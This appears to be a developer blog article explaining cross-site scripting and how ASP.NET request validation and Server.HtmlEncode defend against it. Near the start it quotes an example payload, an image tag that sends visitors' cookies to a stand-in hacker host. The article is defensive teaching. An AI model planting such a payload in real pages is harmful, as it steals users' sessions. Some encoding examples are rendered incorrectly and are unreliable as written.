A simple example of how this attack works,
- A hacker notices that a forum does not screen its post.
- He posts some malicious content like a script tag or a link to their evil server embedded inside an image.
Like this post, <img src=http://hackersSite/tools/’+ escape(document.cookie)>”
- The next person to visit the forum is presented with the HTML that the Hacker posted in the comment, which grabs their cookies and sends them off to the hacker’s evil server
Since the browser downloads the script code from a trusted site, the browser doesn’t know that the code should not be actually there. Encrypted connections are not safe either, XSS works over HTTP and HTTPS (SSL) connections as well.
ASP.NET and Cross Site Scripting
Whenever ASP.Net encounters a potentially dangerous input value it throws the ‘System.Web.HttpRequestValidationException’ which does not allow the “dangerous” input to be processed and traps it when the request is being validated. But as programmers, it’s our duty to display to the user a friendlier message that he/she can understand. The exception can be trapped in the Global.asax file in the method Application_Error,
Exception ex = Server.GetLastError();
if (ex is HttpRequestValidationException)
What we do here is we capture the ‘System.Web.HttpRequestValidationException’ exception thrown and then redirect to a page that has a friendlier message for the user, something that he can understand. Note that if you put a try/catch block inside the page, it’s going to be too late, because request validation occurs much before the page actually starts executing.
Allowing HTML tags while remaining safe
While using the above method does protects us from Cross Side Scripting, it blocks even the most simple HTML tags such as <b></b> or <i></i>. A web developer developing his own forum or blog might want to allow his users to be able to enter these tags. What should help him here is the ‘Server.HTMLEncode’ Method. This method applies HTML encoding to a string literal. Here is a summarized version of what it does:-
- The less-than character (<) is converted to <.
- The greater-than character (>) is converted to >.
- The ampersand character (&) is converted to &.
- The double-quote character (“) is converted to ".
- Any ASCII code character whose code is greater-than or equal to 0x80 is converted to &#<number>, where <number> is the ASCII character value.
Let me illustrate what exactly happens when we use the Server.HTMLEncode method,
We encode our HTML like this,
<%= Server.HTMLEncode("The script tag: ") %>
Which produces the following output ,
The script tag: <script>
But is displayed by the browser as,
The script tag:
Before we use any of that though, we will need to stop ASP.NET from validating the page, by adding the validateRequest attribute and setting it to false.
If we disable request validation, we are completely responsible to ensure that strings are encoded properly before we display it to the end user. Data can be stored in the database as but when we display it to a user we must html encode it before displaying. So <script> tag becomes <script> and the browser doesn’t mistake it for a client side script.
I created a sample application where I am accepting the user name from a text box and displaying it on page #2 by storing it in the session and then retrieving it from there at the page load event of page #2. We have three cases:-
- Page’s ValidateRequest attribute is set to true.
- Page’s ValidateRequest attribute is set to false, but the user name has not been HTML encoded before displaying it to the end-user.
- Page’s ValidateRequest attribute is set to false, and the message is HTML encoded before being displayed to the user.
Case 1: Page’s ValidateRequest attribute is set to true.
If a page’s ValidateRequest attribute is set to true, then we are not allowed to enter any HTML tags. If we do, the request fails validation and a ‘System.Web.HttpRequestValidationException’ exception is thrown.
Case 2: Page’s ValidateRequest attribute is set to false, but name has not been HTML encoded before displaying it to the end-user.
This is the danger zone. If we set a Page’s ValidateRequest attribute to false, and then do not HTML encode the strings before displaying them, we are asking for trouble. Here’s a sample screenshot of what happens.
As we can see the script that we entered inside the text box earlier got executed here as the page was rendered.
Case 3: Page’s ValidateRequest attribute is set to false, and the message is HTML encoded before being displayed to the user.
This is the ideal scenario. I HTML encoded the string before displaying them using a single statement on the server side in the page load event of page #2.
string nameToShow = Server.HtmlEncode(Session["btnValue"].ToString());
ltName.Text = nameToShow;
Generally ASP.NET 4.0 and above takes care of XSS for us, but even so, HTML encoding strings before we display them to the end user is highly advised. With ASP.NET 4.0 Microsoft has made this even easier. It HTML encodes any string literal inserted between,
Even if we have RequestValidation turned on, imagine a hacker gains control of our database and changes all the user names stored on the database into scripts that grab user cookies and send them to his evil server. If we HTML encode the user names before displaying them to the end user, we and our users will be safe, no matter what the Hacker entered inside the databases, because the browser will treat it as simple text.
Author: Abijeet Patro
About Author: Abijeet Patro is a solution architect at Osmosys and has experience in website designing and in developing solutions using .Net technologies.